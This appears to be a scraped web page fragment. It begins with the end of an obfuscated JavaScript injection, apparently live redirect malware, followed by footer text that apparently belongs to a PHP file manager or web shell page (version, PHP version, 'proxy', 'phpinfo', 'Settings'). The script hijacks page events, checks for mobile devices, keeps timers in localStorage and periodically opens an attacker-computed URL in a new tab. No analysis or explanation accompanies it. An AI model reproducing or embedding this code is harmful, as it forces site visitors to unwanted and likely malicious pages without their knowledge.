_0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
| ver. 1.4 |
Github
|
.
| PHP 7.3.33 | Generation time: 0.07 |
proxy
|
phpinfo
|
Settings